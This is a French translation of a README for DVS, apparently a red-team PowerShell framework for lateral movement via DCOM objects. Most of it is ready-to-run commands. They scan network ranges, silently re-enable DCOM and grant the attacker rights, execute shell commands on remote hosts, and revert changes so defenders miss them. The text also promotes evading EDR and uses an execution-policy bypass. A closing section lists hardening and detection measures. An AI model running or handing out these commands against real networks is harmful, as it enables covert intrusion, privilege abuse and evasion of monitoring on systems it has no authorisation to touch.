
D(COM) V(ulnérabilité) S(canneur) alias couteau suisse dévoyé - Mouvement latéral utilisant des objets DCOM
Vous êtes-vous déjà demandé comment vous déplacer latéralement dans des réseaux internes ? ou interagir avec des machines distantes sans alerter les EDR ?
Supposons que nous ayons des identifiants valides, ou une session active avec un accès à une machine distante, mais sans option pour exécuter un processus à distance de manière connue, attendue ou hautement surveillée (par exemple, WMI, Planificateur de tâches, WinRM, PowerShell Remoting).
Pour ces scénarios, le framework DVS vient à la rescousse.
Le framework DVS est un couteau suisse qui vous permet d'énumérer les fonctions vulnérables d'objets DCOM distants, de les lancer et même de lancer des attaques en les utilisant.
Le framework est développé avec un état d'esprit "Red Team" et utilise des méthodes furtives pour compromettre des machines distantes.
Le framework DVS contient diverses façons de contourner le durcissement à distance contre DCOM en réactivant l'accès DCOM à distance et en accordant automatiquement les autorisations nécessaires à l'utilisateur attaquant.
Le framework peut également annuler les modifications sur la machine distante pour les ramener à leur état d'origine, avant l'attaque - cachant ces modifications aux défenseurs.
Notre principale idée est que l'outil peut également exécuter des commandes en utilisant des objets DCOM non vulnérables grâce à une technique astucieuse (Lisez ci-dessous à propos de Invoke-RegisterRemoteSchema)
Compatible avec PowerShell 2.0 et versions ultérieures
Vidéo YouTube PoC : DVS
Cet outil est destiné uniquement à des fins de test et d'éducation. Toute autre utilisation de ce code n'est pas autorisée. Utilisez-le à vos propres risques.
L'auteur décline toute responsabilité en cas de mauvaise utilisation de cet outil.
En l'utilisant, vous acceptez le fait que tout dommage causé par l'utilisation de cet outil est de votre responsabilité.
Accès au registre distant (MS-RRP)
AutoGrant est activé, vérifier les autorisations d'écriture. Sinon, vérifier les autorisations de lectureFournisseur de registre standard (Si le registre distant est refusé)
StdRegProv est accessibleAutoGrant est activé, vérifier les autorisations d'écriture, sinon, vérifier les autorisations de lectureL'outil DVS vérifie d'abord si l'identité principale a accès à la machine distante via les étapes suivantes :
Actions de base
SkipRegAuth n'est pas activé)
AutoGrant est activé), sinon échoueradsi/WindowsIdentity), sont autorisés à interagir avec le DCOM (via des requêtes de registre distant)AutoGrant est activé), sinon, échouerHKLM ou HKCU)Invoke-DCOMObjectScan
Get-ExecutionCommand
Invoke-ExecutionCommand
Invoke-RegisterRemoteSchema
git clone https://github.com/ScorpionesLabs/DVS
powershell -ep bypass
PS> Import-Module .\DVS.psm1
PS> Get-Help Invoke-DCOMObjectScan -Detailed # Obtenir les détails de la commande Invoke-DCOMObjectScan
PS> Get-Help Get-ExecutionCommand -Detailed # Obtenir les détails de la commande Get-ExecutionCommand
PS> Get-Help Invoke-ExecutionCommand -Detailed # Obtenir les détails de la commande Invoke-ExecutionCommand
PS> Get-Help Invoke-RegisterRemoteSchema -Detailed # Obtenir les détails de la commande Invoke-RegisterRemoteSchema
La fonction Invoke-DCOMObjectScan vous permet de scanner des objets DCOM et de trouver des fonctions vulnérables via une liste de modèles ou de noms de fonctions exacts que vous avez inclus dans un fichier.
Exemples :
Énumère et scanne l'objet MMC20.Application (ProgID) de la machine attaquante vers l'hôte DC01 sans interroger le registre.
Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipRegAuth -Username "lab\administrator" -Password "Aa123456!" -Verbose
Remarque : L'outil n'analysera pas les autorisations ACL, et lorsque l'outil réussira, il résoudra toutes les informations sur l'objet, à l'exception des détails mentionnés dans le registre (comme le nom de l'objet, le fichier exécutable, etc.)
Vérifie si l'objet MMC20.Application (ProgID) est accessible depuis la machine attaquante vers l'hôte DC01 sans d'abord interroger et vérifier la liste d'accès de l'objet DCOM.
PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipPermissionChecks -CheckAccessOnly -Verbose
Valide si le MMC20.Application (ProgID) est applicable via la plage 10.211.55.4/24. S'il existe, l'outil essaiera d'énumérer les informations à son sujet. (en utilisant la session utilisateur actuellement connectée).
PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -Hostlist "10.211.55.4/24" -CheckAccessOnly -Verbose
Valide si l'objet CLSID {00020812-0000-0000-C000-000000000046} via l'adresse IP 10.211.55.4 existe et est accessible. S'il existe, l'outil résoudra les informations à son sujet. (En utilisant les identifiants lab\administrator).
PS> Invoke-DCOMObjectScan -Type Single -ObjectName "{00020812-0000-0000-C000-000000000046}" -Hostlist "10.211.55.4" -CheckAccessOnly -Username "lab\administrator" -Password "Aa123456!" -Verbose
Scanne tous les objets stockés dans un chemin spécifié (par exemple C:\Users\USERNAME\Desktop\DVS\objects.txt) via l'adresse IP 10.211.55.4, et trouve la liste de fonctions située dans le fichier spécifié comme vulnerable.txt en utilisant les identifiants lab\administrator avec la configuration suivante :
Profondeur max : 4
Résultats max : 1 (1 résultat pour chaque objet)
Mode AutoGrant : Si nous n'avons pas accès à l'objet ou si la fonctionnalité DCOM est désactivée, activer la fonctionnalité DCOM et effectuer un octroi automatique à l'objet DCOM concerné.
Enfin, ramener la machine au même état qu'avant l'attaque.
PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type List -ObjectListFile "C:\Users\USERNAME\Desktop\DVS\objects.txt" -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -AutoGrant -Username "lab\administrator" -Password "Aa123456!" -Hostlist "10.211.55.4" -MaxResults 1 -Verbose
Scanne tous les objets stockés sur les machines distantes disponibles de la plage 10.211.55.1/24 et trouve les fonctions potentiellement vulnérables à partir de la liste située dans le fichier sélectionné (par exemple C:\Users\USERNAME\Desktop\DVS\vulnerable.txt), exclut les objets du fichier sélectionné (par exemple C:\Users\USERNAME\Desktop\DVS\exclude.txt), et ignore les propriétés portant le même nom sur d'autres chemins du même objet.
REMARQUE : Le drapeau SkipSameProperyName peut manquer des fonctions vulnérables lorsqu'il existe le même nom de propriété avec des préférences différentes (Méthodes/autres propriétés) ou une chaîne de profondeur différente.
PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type All -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -ExcludeFileList "C:\Users\USERNAME\Desktop\DVS\exclude.txt" -Hostlist "10.211.55.1/24" -SkipSameProperyName -Verbose
La fonction Get-ExecutionCommand permet de générer une charge utile PowerShell qui interagira et s'exécutera avec la fonction DCOM distante avec les paramètres pertinents.
Vérifie si l'identité principale est autorisée à interagir avec l'objet CLSID {00020812-0000-0000-C000-000000000046} via l'adresse IP 10.211.55.4 en utilisant les identifiants lab\administrator, puis génère la commande d'exécution.
PS> Get-ExecutionCommand -ObjectName "{00020812-0000-0000-C000-000000000046}" -ObjectPath "DDEInitiate" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -Verbose
Vérifie l'accès DCOM,
Si l'identité principale ne dispose pas des autorisations nécessaires ou si la fonctionnalité DCOM est désactivée, l'outil activera la fonctionnalité DCOM, accordera l'accès à l'identité et interagira avec l'objet MMC20.Application (ProgID) via l'adresse IP 10.211.55.4 en utilisant les identifiants lab\administrator, et vous générera la commande d'exécution.
Enfin, il ramènera la machine au même état qu'avant l'attaque.
PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -AutoGrant -Verbose
Tente d'interagir avec l'objet MMC20.Application (ProgID) via la plage 10.211.55.1/24 en utilisant la session actuellement connectée sans analyser les autorisations ACL, puis génère la commande d'exécution.
PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.1/24" -SkipPermissionChecks -Verbose
Tente d'interagir avec l'objet MMC20.Application (ProgID) via l'adresse IP 10.211.55.4, sans interroger le registre.
PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.4" -SkipRegAuth -Verbose
La fonction Invoke-ExecutionCommand permet d'exécuter des commandes via un objet DCOM en utilisant l'utilisateur connecté ou des identifiants fournis.
Exemples :
Vérifie l'accès DCOM,
Si l'identité principale ne dispose pas des autorisations nécessaires ou si la fonctionnalité DCOM est désactivée, l'outil activera la fonctionnalité DCOM, accordera l'accès, interagira avec l'objet MMC20.Application (ProgID) via la plage : 10.211.55.1/24 en utilisant la session utilisateur actuellement connectée et exécutera les commandes suivantes :
Exécute la commande cmd.exe /c calc
Définit l'attribut Frame.Top à 1
Enfin, ramener la machine au même état qu'avant l'attaque.
PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -AutoGrant -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")},@{ObjectPath="Frame.Top";Arguments=@(1)} ) -HostList "10.211.55.1/24" -Verbose
Tente d'interagir avec l'objet MMC20.Application (ProgID) en utilisant les identifiants lab\administrator via l'adresse IP 10.211.55.4, et exécute la commande suivante : cmd.exe /c calc.
PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")}) -HostList "10.211.55.4" -Username "lab\administrator" -Password "Aa123456!" -Verbose
Tente d'interagir avec l'objet MMC20.Application (ProgID) en utilisant la session utilisateur actuellement connectée sans analyser les autorisations ACL, et exécute la commande suivante : cmd.exe /c calc.
PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")}) -HostList "10.211.55.4" -SkipPermissionChecks -Verbose
La fonction Invoke-RegisterRemoteSchema permet d'exécuter des commandes via les objets DCOM suivants en utilisant l'utilisateur connecté ou des identifiants fournis :
Remarque : Ces objets DCOM n'ont besoin d'aucun accès à la ruche de la machine locale. Ils peuvent prendre pied avec n'importe quel utilisateur pouvant accéder à la machine distante !
Exécute la commande cmd /c calc sur la plage 10.211.55.1/24 en utilisant la session actuellement connectée, et accorde les privilèges si nécessaire
PS> Invoke-RegisterRemoteSchema -HostList "10.211.55.1/24" -Command "cmd /c calc" -AutoGrant -Verbose
Exécute la commande cmd /c calc sur la machine distante 10.211.55.4 en utilisant les identifiants fournis
PS> Invoke-RegisterRemoteSchema -HostList "10.211.55.4" -Command "cmd /c calc" -Username "Administrator" -Password "Aa123456!" -Verbose
Technique MITRE : T1021.003 - Services distants : Distributed Component Object Model
Désactiver l'accès DCOM à distance
Ne pas autoriser l'accès au registre à distance si ce n'est pas nécessaire
Les deux options sont difficiles à implémenter dans un environnement d'entreprise sans impact sur la disponibilité.
Néanmoins, cela peut être une bonne option de durcissement pour les endpoints qui n'ont pas besoin de gestion à distance du domaine. (par exemple, endpoints autonomes)
Activer les profils Domaine et Privé dans le Pare-feu Windows Defender
Passer à l'utilisation de LAPS afin de réduire la surface d'attaque. Si chaque ordinateur du domaine a un mot de passe administrateur local différent, ce compte ne peut pas être utilisé pour un mouvement latéral.
Durcir les droits d'accès des utilisateurs peut empêcher cette attaque
En utilisant des objets de stratégie de groupe, une organisation peut supprimer les administrateurs, utilisateurs et d'autres groupes de la liste, et passer à l'utilisation d'un groupe/utilisateur spécial pour la gestion centralisée qui ne se connecte pas de manière interactive à d'autres ordinateurs
[Computer Configuration\Windows Settings\Security Settings\Local Policies\User Rights Assignment\Access this computer from the network]
Dans les guides de durcissement officiels comme CIS, le paramètre recommandé pour [Access this computer from the network] est avec les valeurs "administrators et Remote Desktop Users ou Authenticated users". Ces recommandations sont vulnérables à l'outil DVS.
Durcir les autorisations DCOM en supprimant les droits des administrateurs des autorisations - Remote Launch et Remote Activation.
Utiliser un pare-feu basé sur l'hôte / pare-feu conscient des applications pour bloquer l'accès DCOM entre les ordinateurs. Particulièrement pour un ordinateur qui ne fait pas partie de l'infrastructure informatique ou de gestion.
Les règles de contrôle d'application peuvent être utilisées comme dernier cercle de contrôles de sécurité pour empêcher les processus vulnérables de générer des processus enfants dangereux ou de charger des DLL.
Exemples :
mmc.exe -> cmd.exe
explorer.exe -> regsvr.exe
visio.exe -> wmic.exe
excel.exe -> Rundll32.exe
outlook.exe -> cmd.exe
Surveiller les modifications du registre aux emplacements suivants :
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]
Cette clé correspond aux paramètres d'autorisation DCOM. S'ils sont modifiés, cela peut signifier qu'un adversaire utilisant l'outil DVS a supprimé le durcissement.
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes]
"Les sous-clés et les valeurs de registre associées à la clé [HKEY_LOCAL_MACHINE\SOFTWARE\Classes] contiennent des informations sur une application nécessaires pour prendre en charge la fonctionnalité COM. Ces informations incluent des sujets tels que les formats de données pris en charge, les informations de compatibilité, les identifiants programmatiques, DCOM et les contrôles." Référence du centre de développement Microsoft
[MACHINE\SOFTWARE\policies\Microsoft\windows NT\DCOM\MachineLaunchRestriction]
Le changement de cette clé peut indiquer que l'outil DVS a désactivé les restrictions DCOM d'activation à distance et de lancement à distance.
Utiliser un pare-feu conscient des applications pour bloquer l'accès DCOM entre les ordinateurs. Particulièrement depuis un ordinateur qui ne fait pas partie de l'infrastructure informatique ou de gestion.
Un système de prévention d'intrusion (par exemple Snort, Suricata) peut être utilisé pour détecter le protocole DCOM qui est basé sur RPC (MS-RPC, MS-RPCE) et le protocole de registre à distance (MS-RRP).
Surveiller le pare-feu Windows Defender en activant le journal d'audit sur le trafic bloqué pour les profils domaine et privé.
Surveiller les modifications de la clé suivante. Cela peut indiquer que l'outil DVS a créé une règle pour contourner les restrictions RPC dynamiques du Pare-feu Microsoft Defender.
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules]
Surveiller les journaux d'événements Windows :Activer l'audit des événements. Paramètres d'audit à activer en cas de succès et d'échec : Audit account logon events | Audit logon events | Audit object access | NTLM Auditing
Accédez à cette clé de registre : [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole] Créez de nouvelles valeurs DWORD avec la valeur '1' nommées ActivationFailureLoggingLevel | CallFailureLoggingLevel | InvalidSecurityDescriptorLoggingLevel